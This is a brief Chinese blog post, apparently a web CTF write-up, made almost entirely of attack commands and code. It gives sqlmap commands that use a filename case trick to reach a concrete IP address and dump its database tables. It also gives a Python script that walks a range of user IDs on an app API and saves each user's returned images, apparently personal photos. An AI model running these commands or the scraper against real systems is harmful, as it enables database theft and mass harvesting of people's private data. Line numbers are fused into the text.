web 发表于 2017-09-01 | 分类于 web | 作者:ESE web不知所云 sqlmap直接shell,因为windows不区分大小写,而PHP区分,从而绕过,进行注入。12345678跑数据库sqlmap -u "http://101.71.29.5:10006/json.phP?id=admin" --dbs -p id --thread 10 测试数据库sqlmap -u "http://101.71.29.5:10006/json.phP?id=admin" --flush -p id --thread 10 --current-db查表sqlmap -u "http://101.71.29.5:10006/json.phP?id=admin" --flush -p id --thread 10 --current-db -D 5monthweb --tables进入表sqlmap -u "http://101.71.29.5:10006/json.phP?id=admin" --flush -p id --thread 10 --current-db -D 5monthweb -T article --dump web的urlpython3.7环境下1234567891011121314151617181920212223242526272829303132333435363738# -*- coding: utf8 -*-import base64from urllib import requestimport jsondef save(strs,uid): imgdata=base64.b64decode(strs) name = str(uid)+".jpg" file=open(name,'wb') file.write(imgdata) file.close()def dowmloadPicture(): url = r"https://" headers = { "Connection":"Keep-Alive", "Accept-Encoding":"gzip", "User-Agent":"okhttp/3.2.0" } for id in range(717630,717640): try: payload = "funcNo=2000003&userid="+str(id)+"&op_way=3&op_source=3&infocolect_channel=3" payload = payload.encode(encoding='UTF8') r = request.Request(url=url,data=payload,headers=headers,methmod="POST") res = request.urlopen(r) jsonData = json.loads(res.read()) result = jsonData["results"] imgdata = result[0]["img_data"] save(imgdata,id) imgdata1 = result[1]["img_data"] save(imgdata1,str(id)+"_") print("0k") except: print("No") passif __name__ == "__main__": dowmloadPicture() Donate 打赏 支付宝 -------------本文结束感谢您的阅读-------------